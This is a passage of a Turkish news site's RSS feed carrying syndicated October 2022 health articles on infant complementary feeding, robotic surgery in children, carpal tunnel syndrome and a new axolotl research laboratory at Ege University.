                <content:encoded><![CDATA[<p><p><span><span>Bebeklerde ek gıdaya geçişte tuzdan uzak durulmalı</span></span></p>  <div> <p><span><span><strong>Bebeklerin sağlıklı ve düzenli beslenmesi gelişimleri için oldukça önemli. Bebeklerin 6’ncı aydan itibaren anne sütüyle beraber mama ve ek gıdaya geçiş dönemlerinin ebeveynler için hassas olduğunu belirten Anadolu Sağlık Merkezi Çocuk Sağlığı ve Hastalıkları Uzmanı Dr. Mehmet Kılıç, “Bebeklerde ek gıdaya geçişte ufak tadımlar halinde püre ve yoğurt gibi gıdalar verilebilir. Bu dönemde tuz ve tuzlu gıdalardan kaçınılmalı; kıyma, et ve ciğer gibi besinlerin iyi pişirilmesine dikkat edilmeli” dedi.</strong></span></span></p>  <p><span><span><span>Bebek beslenmesinde en önemli konu “anne sütü” ancak 6 aydan itibaren ek gıdaya geçiş dönemine başlandığını söyleyen Anadolu Sağlık Merkezi Çocuk Sağlığı ve Hastalıkları Uzmanı Dr. Mehmet Kılıç, “Yeterliyse ilk 6 ay sadece anne sütü verilebilir. Anne sütünün yeterli olmadığı zamanlarda ise devam sütü ile de bebeğin beslenmesi desteklenebilir. 6 aydan sonra ek gıdaya geçiş döneminde ise anne sütü yeterliyse bile yanına ek gıda eklenemeli” şeklinde konuştu. </span></span></span></p>  <p><span><span><strong><span>Bebek beslenmesinde tuzdan uzak durulmalı</span></strong></span></span></p> <p><span><span><span>Bebeğin ek gıdaya geçişinin yaşına veya kaç aylık olduğuna göre değiştiğini söyleyen Çocuk Sağlığı ve Hastalıkları Uzmanı Dr. Mehmet Kılıç, “Ebeveynler ilk tadımlarına meyve püresi, sebze püresi ve yoğurt ile başlayabilir. Bebeğin duruma göre daha sonra yumurtanın sarısı da eklenebilir. Bebeğin ilk tadımlarını yaptığı bu dönemde tuz ve tuzlu gıdalardan uzak durulmalı. Özellikle, bu dönemde bebe bisküvisinden de kaçınmak gerekiyor” dedi.  </span></span></span></p>  <p><span><span><strong><span>Et, ciğer gibi besinler iyi pişirilmeli</span></strong></span></span></p> <p><span><span><span>Bebeğin iştahına göre verilen ek gıdanın çeşitlenebileceğini söyleyen Dr. Mehmet Kılıç, “7’nci aydan itibaren içinde kıyma bulunan yemekler ufak tadımlar halinde bebeğe verilebilir. 8-9 aylıkken ise ciğer, inek eti ve kemik suyuyla çorbalar gibi besinler iyi pişirilerek ve ezilerek verilebilir. Burada önemli olan etin iyi pişmiş olması” açıklamasında bulundu.</span></span></span></p>  <p><span><span><span>Çocuk Sağlığı ve Hastalıkları Uzmanı Dr. Mehmet Kılıç, bebekler için 11 beslenme önerisinde bulundu: </span></span></span></p>  <ul> <li><span><span><span>Mamanın güvenilir marka olup olmadığına ve bebeğe dokunup dokunmadığına bakılmalı. Bebeğin seveceği ve bebeğe gaz, alerji yapmayan mama bebek için en iyi mamadır.</span></span></span></li> <li><span><span><span>Hiç anne sütü yoksa, sadece mama ile besleniyorsa ek gıda biraz daha erkene çekilerek 4’üncü veya 5’inci aylarda verilebilir. </span></span></span></li> <li><span><span><span>Bebeklere annelerin en güvendikleri koruyucu ve katkı maddesi içermeyen, taze tuzsuz peynirlerden verilebilir. Süt kesiğinden yapılan lor peyniri de verilebilir. Labne gibi peynirler mecbur kalmadıkça verilmemeli.</span></span></span></li> <li><span><span><span>Bebeklere gece maması verilmesi şart değil. Bebek açsa verilir, değilse verilmeyebilir.</span></span></span></li> <li><span><span><span>Gece maması ve emzirmesi için bebeği uyandırmak gerekmiyor. Bebek kucağa alınıp uykudayken de emzirilebilir. Bebek 2-3 saatte bir uyurken emebilir.</span></span></span></li> <li><span><span><span>Biberona alışan bebek tekrar memeye alıştırılabilir. Bunun için her beslenmeden önce anne memesi denenebilir. Biraz zor da olsa aşılabilir.</span></span></span></li> <li><span><span><span>Bebek doymadığında aranır, huzursuzluğu gitmez, her şeyi yeme isteğiyle ağzına götürür. Bu bebeğin kaç aylık olduğuna göre değişir. İlk 6 ayda bebek huzursuz olup ağlayarak bunu belli eder ve sürekli aranır.</span></span></span></li> <li><span><span><span>Mama, bebeğin yaşına uygun seçilmeli. İlk 6 ay için 1 numara mama seçilebilirken, inek sütü alerjisi olan bebekler için özel mamalar seçilmeli. </span></span></span></li> <li><span><span><span>Anason çayı bebeklere önerilmez.</span></span></span></li> <li><span><span><span>Gece uykusunu uzatmak için bebeklere ek gıda verilmez. </span></span></span></li> <li><span><span><span>Bebeklere büyük, kılçıksız, somon gibi omega değeri yüksek balıklar verilebilir.</span></span></span></li> </ul> </div>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberi Kaynağından oku: <a href="https://beyazhaberajansi.com/haber-bebekler-icin-11-beslenme-onerisi-67320.html">Beyaz Haber Ajansı</a></p><p style="text-align: left;">Not : <font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber </span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;"> </span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Tue, 25 Oct 2022 13:44:04 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/bebekler-icin-11-beslenme-onerisi-xJ1EICrJ.jpg"/>
            </item>
                                <item>
                <title>Robotik Cerrahi Çocuk Hastalarda Önemli Konfor Sağlıyor</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/robotik-cerrahi-cocuk-hastalarda-onemli-konfor-sagliyor-547035</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/robotik-cerrahi-cocuk-hastalarda-onemli-konfor-sagliyor-547035</guid>
                <description><![CDATA[Küçük yaştaki çocuk hastalarda cerrahi işlemler, anne babalarda endişe oluşturabiliyor. Ancak günümüzde gelişen teknolojiyle birlikte hasta ...]]></description>
                <content:encoded><![CDATA[<p><p><span><span>Küçük yaştaki çocuk hastalarda cerrahi işlemler, anne babalarda endişe oluşturabiliyor. Ancak günümüzde gelişen teknolojiyle birlikte hasta konforunu ön planda tutan robotik cerrahi uygulamaları bu endişeleri ortadan kaldırıyor. Tüm dünyada artan sıklıkta uygulanan robotik cerrahi, çocukların kısa sürede iyileşip normal hayata dönmesine olanak sağlıyor. Memorial Bahçelievler ve Ataşehir Hastaneleri Çocuk Ürolojisi Bölümü’nden Prof. Dr. Selçuk Sılay, robot teknolojisinin çocuk üroloji ameliyatlarında da güvenle kullanıldığını belirterek, robotik cerrahinin avantajları ile ilgili bilgi verdi. </span></span></p>  <p><span><span>Robotik cerrahi vücuda büyük kesi uygulanmadan ameliyat yapılmasına imkân tanımaktadır. Ameliyat bölgesinde açılan küçük deliklerden özel enstrümanlar yerleştirildikten sonra cerrah, hastadan 3-4 metre ileride bulunan bir kontrol ünitesi yardımıyla ameliyatı gerçekleştirebilmektedir. Ameliyatta robotik teknoloji uygulandığı için en küçük bir titreme olmaksızın yüksek hassasiyetle dokular üzerinde çalışılabilmektedir.</span></span></p>  <p><span><span><strong>Ağrı ve kanama riski minimuma iniyor</strong></span></span></p> <p><span><span>Robotik cerrahinin çocuklarda kullanılmasının pek çok avantajı bulunmaktadır. Avrupa Çocuk Ürolojisi kılavuzlarında da bildirildiği üzere, robotik cerrahi sayesinde çocuk hastaların ameliyat sonrası ağrıları daha az olur ve hastanede yatış süresi kısalır. Hastalar en fazla 1 ya da 2 gün içerisinde taburcu edilebilirler. Açık cerrahi sonrası çocukların ortalama 3 ila 7 gün arasında kalması gerekebilir.  </span></span></p>  <p><span><span><strong>Ameliyat izi kalmıyor, komplikasyon riski azalıyor</strong></span></span></p> <p><span><span>Cerrahi robotları sayesinde ameliyat sonrasında görülebilen ve istenmeyen kanama gibi bazı komplikasyonlar anlamlı olarak azalmaktadır. Robotik cerrahinin bir diğer avantajı ise kozmetik görünüm ile ilgilidir. Açık cerrahide böğür veya kasık bölgesine 5-6 cm’lik kesi ile gerçekleştirilen ameliyatlar, robotik cerrahide milimetrik delikler sayesinde gerçekleştirilebilmektedir ve bu sayede ciltte ameliyat sonrası izlenen ameliyat izi görüntüsü çok az olmakta ya da hiç görülmemektedir. </span></span></p>  <p><span><span><strong>Yüksek manevra kabiliyetiyle başarılı sonuçlar<br/>  </strong>Ameliyat sırasında anatomik dokular daha net bir şekilde izlenebilmekte ve 3 boyutlu bir şekilde görüntülenebilmektedir. Robotik cerrahi bu sayede hastaya olduğu kadar ameliyatı yapan cerraha da büyük kolaylıklar sağlar. Ayrıca açık cerrahi veya laparoskopide belli bir açıya kadar aletlerde bükülme sağlanabilirken, robotik cerrahide manevra kabiliyeti çok daha üstün olmaktadır. Bu sayede dokulara atılan dikişler en doğru şekilde uygulanmaktadır.</span></span></p>  <p><span><span><strong>Her yaş grubunda çocuklara uygulanabiliyor</strong></span></span></p> <p><span><span>Her yaş grubunda çocuklara robotik cerrahi uygulanabilir. Öte yandan hastalıkların tetkik ve teşhis sürecine bakıldığında genellikle 3 ay ve üzerindeki tüm çocuklarda robotik cerrahi yapılmaktadır.  </span></span></p>  <p><span><span><strong>Çocuk ürolojisi ameliyatlarında da güvenle kullanılıyor<br/>  </strong>Çocuklarda laparoskopinin uygulanabildiği her ameliyat aslında robotik cerrahi yöntemiyle de uygulanabilir. Çocuklarda robotik cerrahideki tüm uygulamalar çocuk ürologları için bir referans kaynağı olan Avrupa Çocuk Ürolojisi Kılavuzları’nda yer almaktadır. Bu ameliyatların en sık uygulandığı durum ‘Böbrek çıkış darlığı’ (üreteropelvik bileşke darlığı, UPJ darlığı) olarak adlandırılan ve genellikle anne karnında iken bebeklerin böbreklerinde genişleme tespit edilen tablolardır. İkinci en sıklıkta uygulandığı durum ise ‘Vezikoüreteral reflü’ (mesaneden böbreğe idrar kaçışının olduğu ve idrar yolu enfeksiyonları, böbrek hasarı ve böbrek yetmezliğine yol açabilen bir hastalık) cerrahisidir. Bunların haricinde ise aşağıdaki durumlarda yine çocuklarda robotik cerrahi yapılabilir:</span></span></p>  <ul> <li><span><span>Megaüreter ( genişlemiş idrar yolu) cerrahisi</span></span></li> <li><span><span>Çift böbrek (duplike sistem) cerrahisi</span></span></li> <li><span><span>Nörojen mesane (B<span>eyin, omurilik veya sinir problemleri nedeniyle mesanenin fonksiyonlarını yerine getirememesi) ameliyatları</span></span></span></li> <li><span><span>Mesane büyütme ameliyatları</span></span></li> <li><span><span>Böbrek tümörleri (Wilms tümörü) cerrahisi</span></span></li> <li><span><span>Nöroblastom ( böbrek üstü bezi tümörleri) cerrahisi</span></span></li> </ul>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberi Kaynağından oku: <a href="https://beyazhaberajansi.com/haber-robotik-cerrahi-cocuk-hastalarda-onemli-konfor-sagliyor-67313.html">Beyaz Haber Ajansı</a></p><p style="text-align: left;">Not : <font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber </span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;"> </span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Tue, 25 Oct 2022 13:27:05 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/robotik-cerrahi-cocuk-hastalarda-onemli-konfor-sagliyor-Ty349YEJ.jpg"/>
            </item>
                                <item>
                <title>Karpal Tünel Sendromu Kalıcı Hasar Bırakmasın</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/karpal-tunel-sendromu-kalici-hasar-birakmasin-547008</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/karpal-tunel-sendromu-kalici-hasar-birakmasin-547008</guid>
                <description><![CDATA[Elinizde güçsüzlük ve çabuk yorulma sorunundan yakınıyor musunuz? Özellikle ilk üç parmağın tamamında ve 4. parmağın yarısında karıncalanma hissi ...]]></description>
                <content:encoded><![CDATA[<p><p><span><span>Elinizde güçsüzlük ve çabuk yorulma sorunundan yakınıyor musunuz? Özellikle ilk üç parmağın tamamında ve 4. parmağın yarısında karıncalanma hissi oluyor mu?  Bu şikayetleriniz genellikle geceleri sizi uyandıracak kadar şiddetleniyor mu? Yanıtınız 'evet‘ ise dikkat edin, zira nedeni klavye ile mouse’u sık kullanan kişileri daha çok tehdit eden ve tedavi edilmezse yaşam kalitesini oldukça düşürebilen ‘Karpal tünel sendromu’ olabilir!</span></span></p>  <p><span><span>Karpal tünel sendromu; el parmaklarının hareketi ile hissinin sağlanmasında önemli rol oynayan ve ‘median sinir’ olarak adlandırılan yapının el bileği hizasında sıkışmasıyla ortaya çıkan tabloya deniyor. Özellikle klavye ve mouse kullanımı sırasında el bileğini sürekli bükülü pozisyonda tutmak zorunda kalan veya el ile el bileğine sık yük oluşturan işlerde çalışanları tehdit ediyor. Karpal tünel sendromu başlangıçta çok önemsenmeyen şikayetlere neden olsa da, ilerleyen dönemlerde parmaklarda gece uykudan uyandıracak şiddette uyuşma ve ağrıya yol açabiliyor. Tedavide geç kalındığında ellerde kalıcı sinir ve kas kaybına neden olarak yaşam kalitesini ciddi boyutlarda düşürüyor. Öyle ki hastalar yazı yazmak ve nesneleri tutmak gibi aktiviteleri yapmakta büyük sorun yaşıyor; hafif bir poşet dahi taşıyamaz hale gelebiliyorlar. Bu nedenle karpal tünel sendromuna erken dönemde müdahale edilmesi son derece önem taşıyor. <strong>Acıbadem Bakırköy Hastanesi</strong> <strong>Ortopedi ve Travmatoloji Uzmanı</strong> <strong>Prof. Dr. Özgür Çetik </strong>geç kalınmadığı takdirde karpal tünel sendromunun ameliyata ihtiyaç duyulmadan tedavi edilebildiğine dikkat çekerek, “Bu nedenle 1. 2. ve 3 parmaklarda karıncalanma hissedildiğinde vakit kaybetmeden bir ortopedi uzmanına başvurmak gerekiyor. Erken dönemde ilaç ve fizik tedaviyle hastalığın ilerlemesi önlenebiliyor, hatta tam iyileşme sağlanabiliyor.” diyor.</span></span></p>  <p><span><span><strong>Uzun süreli basınca maruz kalınca…</strong></span></span></p> <p><span><span>Median sinirinin görevi; başparmak, işaret parmağı ve orta parmağın tamamı ile yüzük parmağının ½ dış yarısının hissetmesini sağlamak. Ayrıca parmakların birtakım ince hareketleri yapmaları ile kasların çalışmasında da rol alıyor. Median sinir, el bileğinin iç kısmında, parmakları hareket ettiren tendonlar ile beraber karpal tünel denen dar bir alan içinden geçiyor. Bu sinirin karpal tünel içinde bir şekilde uzun süreli basınca maruz kalması karpal tünel sendromuna neden oluyor.</span></span></p>  <p><span><span><strong>İlk üç parmakta karıncalanma varsa, dikkat!</strong></span></span></p> <p><span><span>Karpal tünel sendromunun belirtileri genellikle yavaş gelişiyor. Başlangıç döneminde ilk bulgular çoğunlukla elde güçsüzlük, çabuk yorulma ve özellikle ilk üç parmağın tamamında ve 4. parmağın yarısında karıncalanma hissi oluyor. Prof. Dr. Özgür Çetik, ilerleyen dönemlerde ağrının şiddetlenmesinin yanı sıra parmaklarda uyuşmaların da başladığını belirterek, “Ağrı ve uyuşukluk hissi genellikle geceleri hastayı uykudan uyandıracak kadar şiddetli olabiliyor ve belirtiler hasta elini salladığında ya da bileğini hareket ettirdiğinde azalıyor” diyor. Çok ilerlemiş durumlarda ise başparmak tabanının çevresindeki kaslarda erime ve buna bağlı başparmakta güçsüzlük sorunu başlıyor.</span></span></p>  <p><span><span><strong>El bileğinizi çok sık kullanmayın</strong></span></span></p> <p><span><span>Karpal tünel sendromu kadınlarda ve 40-60 yaş arasında daha sık görülüyor. Ancak çoğunlukla belirgin bir sebep bulunamıyor. Karpal tünel boşluğunda median sinirini sıkıştıran ya da tahriş olmasına yol açan hemen her etken bu sendroma yol açabiliyor. El bileğinin çok sık kullanılması en sık görülen nedenini oluşturuyor. Sendrom ayrıca median sinirine hasar verebilen veya baskı yapabilen diyabet, romatoid artrit, hipotiroidi, obezite ve gut gibi çeşitli hastalıkların etkisiyle de oluşabiliyor. Hamilelik döneminde vücutta ödem artışı karpal tünel içinde basınç artışına, bu tablo da geçici olarak karpal tünel sendromu belirtilerinin oluşmasına yol açabiliyor.</span></span></p>  <p><span><span><strong>Son çare ameliyat oluyor!</strong></span></span></p> <p><span><span>Karpal tünel sendromunun başlangıç döneminde, el bileği hareketlerinin ateller ile kısıtlanması ve antiinflamatuar ilaçların yanı sıra ultrason ile elektriksel sinir uyarısı gibi fizik tedavi yöntemleri semptomları hafifletebiliyor. Steroid enjeksiyonları da sinir çevresindeki şişlikleri azaltarak semptomların gerilemesine yardımcı olabiliyor. Ortopedi ve Travmatoloji Uzmanı Prof. Dr. Özgür Çetik, birkaç ay süresince geçmeyen ve bileklik gibi konservatif önlemlere rağmen devam eden karpal tünel sendromlarında ise çözümün ameliyat olduğunu belirterek, şöyle devam ediyor: “Avuç içi ile el bileği arasında yapılan 3 cm’lik bir kesiyle karpal tüneline ulaşılıyor. Ardından tünelin çatısını oluşturan transvers karpal ligament tamamen kesilerek tünel açılıyor.Böylece sinir üzerindeki baskı ortadan kalkıyor. İlerlemiş tablolarda ise median sinirinin kalınlaşmış sinir kılıfına mikroskop altında sinir serbestleştirilmesi yapmak gerekiyor.”</span></span></p>  <p><span><span><strong>İyileşme süresi 3-6 ayı buluyor</strong></span></span></p> <p><span><span>Ameliyatın ardından ilk aydan sonra şikayetlerde belirgin bir azalma hissediliyor. İyileşme dönemi sinirdeki hasara bağlı olarak 3-6 ay arasında değişiyor. Karpal tünel sendromunda ameliyat ile genellikle tam iyileşmenin mümkün olduğunu belirten Prof. Dr. Özgür Çetik, “Ancak bazı çok ağır ve geç kalınmış tablolarda ameliyattan sonra şikayetler azalsa da tümüyle geçmeyebiliyor. Ayrıca hastanın sigara içmesi, yeterince beslenmemesi ve ileri yaşta olması gibi faktörler cerrahi tedaviden alınacak sonucu olumsuz olarak etkileyebiliyor.” uyarısında bulunuyor.</span></span></p>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberi Kaynağından oku: <a href="https://beyazhaberajansi.com/haber-karpal-tunel-sendromu-kalici-hasar-birakmasin-67291.html">Beyaz Haber Ajansı</a></p><p style="text-align: left;">Not : <font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber </span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;"> </span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Tue, 25 Oct 2022 12:12:06 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/karpal-tunel-sendromu-kalici-hasar-birakmasin-58vYmhIV.jpg"/>
            </item>
                                <item>
                <title>EÜ “Aksolotl Laboratuvarı” törenle hizmete açıldı</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/eu-aksolotl-laboratuvari-torenle-hizmete-acildi-546971</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/eu-aksolotl-laboratuvari-torenle-hizmete-acildi-546971</guid>
                <description><![CDATA[Devlet Üniversiteleri arasında ilk kez Ege’de… Ege Üniversitesi Laboratuvar Hayvanları Uygulama ve Araştırma Merkezi (EGE HAYMER) bünyesinde ...]]></description>
                <content:encoded><![CDATA[<p><p><span><span>Devlet Üniversiteleri arasında ilk kez Ege’de…</span></span></p>  <p><span><span>Ege Üniversitesi Laboratuvar Hayvanları Uygulama ve Araştırma Merkezi (EGE HAYMER) bünyesinde Türkiye’de devlet üniversitelerinde bir ilk olarak “Aksolotl Laboratuvarı” kuruldu. Laboratuvarın açılışında konuşan Rektör Prof. Dr. Necdet Budak, kurulan laboratuvarın dünyadaki örnekleriyle rekabet edebilecek ölçekte olduğunu söyledi. Açılışa Rektör Prof. Dr. Budak’ın yanı sıra Su Ürünleri Fakültesi Dekanı Prof. Dr. Uğur Sunlu, EGE HAYMER Müdürü Prof. Dr. Murat Olukman ile laboratuvarın açılışında katkı sunana akademisyenler ve lisansüstü öğrenciler katıldı.</span></span></p>  <p><span><span>Sağlık sektörünün hızlı bir büyüme ve gelişme sürecinden geçtiğini belirten Rektör Prof. Dr. Necdet Budak, “Yeni yöntem ve teknolojik imkânlar, pek çok sağlık sorununun kolayca üstesinden gelinmesini sağlıyor. Bizler de Ege Üniversitesi olarak daha sağlıklı bir toplum inşasında yürüttüğümüz çalışmalara, her gün yenisini eklemeye devam ediyor,  sağlık alanındaki birçok ilerlemeyi de bu nedenle yakından takip ediyoruz.  Bugün de sağlık altyapımıza güç katacak yeni bir gelişmeyi sizlerle paylaşmak üzere bir aradayız. Son beş yılda ortak akılla yürüttüğümüz çalışmalar neticesine sağlık alanında teknolojik ve bilimsel anlamda ciddi gelişmeler kaydettik. Bu bağlamda, Türkiye’de sadece bir vakıf üniversitesi içerisinde faaliyet gösteren Aksolotl Laboratuvarını,  Üniversitemiz bünyesinde yani bir devlet üniversitesinde hayata geçirmenin haklı gururunu yaşıyoruz. Aksolotl Laboratuvarı, Ege Üniversitesi Bilimsel Araştırma Projeleri Koordinatörlüğü tarafından desteklenen bir yüksek lisans tez projesi sonucunda doğmuş ve EGE HAYMER tarafından hayata geçirilecek oldukça önemli bir projedir” diye konuştu.</span></span></p>  <p><span><span>Prof. Dr. Budak, “Aksolotl Laboratuvarı, Türk bilim insanlarına rejeneratif tıpta ve çeşitli hastalıklar için yeni tedavi yöntemlerinin geliştirilmesi için umut ışığı niteliğindedir. Sağlık sektörü için ciddi önem arz eden ve emsalleri ile rekabet edecek güçte olan Aksolotl Laboratuvarının oluşturulmasında emeği geçen herkese ayrı ayrı teşekkür ediyor, laboratuvarımızın hayırlı olmasını diliyorum” dedi.</span></span></p>  <p><span><span><strong>“Bilimsel araştırmalarda yaygın olarak kullanılıyor”</strong></span></span></p> <p><span><span>Aksolotl hakkında bilgiler veren EGE HAYMER Müdürü Prof. Dr. Murat Olukman, “Aksolotl,  iki yaşamlı ve rejenerasyon yeteneği yüksek bir hayvandır. Bu özelliğinin yanında izsiz yara iyileşmesi ve düşük kanser insidansına sahip olması dolayısı ile çok özel bir model organizmadır. Omurgalı organizma olması dolayısı ile rejenerasyon yeteneği yüksek hayvanlardan biyolojik olarak insanlara en yakın olan türlerden biridir. Bu nedenle de rejeneratif biyoloji çalışmalarında model organizma olarak kullanılabilmektedir. Aksolotllar, vücutlarının çeşitli parçalarını ve uzuvlarını yeniden üretebilme yeteneğine sahip olmaları, kolay üretilebilmeleri ve embriyolarının büyük oluşundan dolayı bilimsel araştırmalarda yaygın olarak kullanılmaktadır” diye konuştu.</span></span></p>  <p><span><span>Laboratuvarın oluşturulmasında; EGE HAYMER Müdürü Prof. Dr. Murat Olukman, Tıp Fakültesi Histoloji ve Embriyoloji Anabilim Dalı öğretim üyesi Prof. Dr. Yiğit Uyanıkgil, Uzm. Dr. Canberk Tomruk, Dr. Kubilay Doğan Kılıç, Anatomi Anabilim Dalı öğretim üyesi Doç. Dr. Servet Çelik, Su Ürünleri Fakültesi Yetiştiricilik Bölümü öğretim üyesi Prof. Dr. Ali Korkut, Dr. Öğr. Üyesi Kutsal Gamsız, EGE HAYMER Uzman Veteriner Hekimi Emrah Soylu ve Yüksek lisans öğrencisi Burak Çakar görev aldı.</span></span></p>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberi Kaynağından oku: <a href="https://beyazhaberajansi.com/haber-eu-aksolotl-laboratuvari-torenle-hizmete-acildi-67264.html">Beyaz Haber Ajansı</a></p><p style="text-align: left;">Not : <font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber </span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;"> </span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Tue, 25 Oct 2022 10:44:04 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/eu-aksolotl-laboratuvari-torenle-hizmete-acildi-KaAve2TR.jpg"/>
            </item>
            </channel>
</rss>
